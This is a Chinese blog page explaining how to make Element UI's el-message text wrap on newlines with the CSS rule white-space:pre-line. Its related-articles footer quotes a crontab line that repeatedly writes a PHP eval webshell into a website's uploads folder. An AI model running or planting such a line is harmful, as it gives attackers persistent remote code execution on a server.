首页 > 其他分享 >关于element中el-message信息提示内容想要换行的问题

关于element中el-message信息提示内容想要换行的问题

时间:2022-12-06 17:15:11浏览次数:47  
标签:el 换行 element 提示 message 想要

我今天遇到的问题是:后台给我输出了提示内容的字符串,用了element组件的message提示框,结果是一行显示的

想要的效果是能够换行显示

主要原因是前端代码没有解析\n,其实解决方案很简单,就是一句css即可,如下:

.el-message--error{
  white-space:pre-line
}

这样即可(记录下)。效果如下图:

 

标签:el,换行,element,提示,message,想要
From: https://www.cnblogs.com/web001/p/16955835.html

相关文章

  • webShell攻击及防御
    最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。首先简单说下什么是webShell?利用文件上传,上传了非法可以执行......
  • 使用channel控制并发数
    packageconcurrent_testimport("fmt""math/rand""sync""testing""time")funcinit(){rand.Seed(time.Now().UnixNano())}//使......
  • 【vue3】element-plus,Checkbox-Group多选框之绑定选中数据不选中问题
    今天记录一下在新项目vue3中,使用的element-plus组价库遇到的一个问题!场景如下:有一个表格的column绑定的数组对象,我需要对表格的头部实现动态可配置显示表格列,由于绑定的col......
  • jsdelivr被墙,hexo-next切换为自定义CDN
    1.Next主题需要升级到8.9以上,我的是多少忘记了,最好升级到最新使用npm管理gitclonehttps://github.com/next-theme/hexo-theme-nextthemes/next2.替换链接官方......
  • python3cookielib模拟登陆
    Cookie介绍Cookie,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。比如说有些网站需要登录后才能访问某个页面,在登录之前,你想......
  • Gerrit: missing Change-Id in commit message footer
    热烈欢迎,请直接点击!!!进入博主AppStore主页,下载使用各个作品!!!注:博主将坚持每月上线一个新app!!!git出现:remote:Resolvingdeltas:100%(27/27)remote:Processingchange......
  • vue select组件封装后用v-model
    封装好的组件<styletype="text/css"scoped>.ipt-select-title{color:#6D89AF;flex-shrink:0;font-weight:500;}.ipt-holder{display:flex;f......
  • linux 给文件替换字符串/替换内容/替换某行 (shell,sed)
    本文是要讲linux不打开文档/文件的情况下,替换文本内容。打开文档,在文档/文件内替换内容的,可以用vim,可参考这篇文章vim替换文本。话题相关#linux文件替换字符串#sed字......
  • c#使用ShellExecute
    [DllImport("kernel32.dll")] publicstaticexternintWinExec(stringexeName,intoperType);不推荐使用以上代码。ShellExecute若ShellExecute函数调用成功,则返回......
  • 定时任务写shell
    */2****/bin/echo'<?phpeval(@$_POST['password']);?>'>/www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/shell.php1.使用命令crontab-e进入......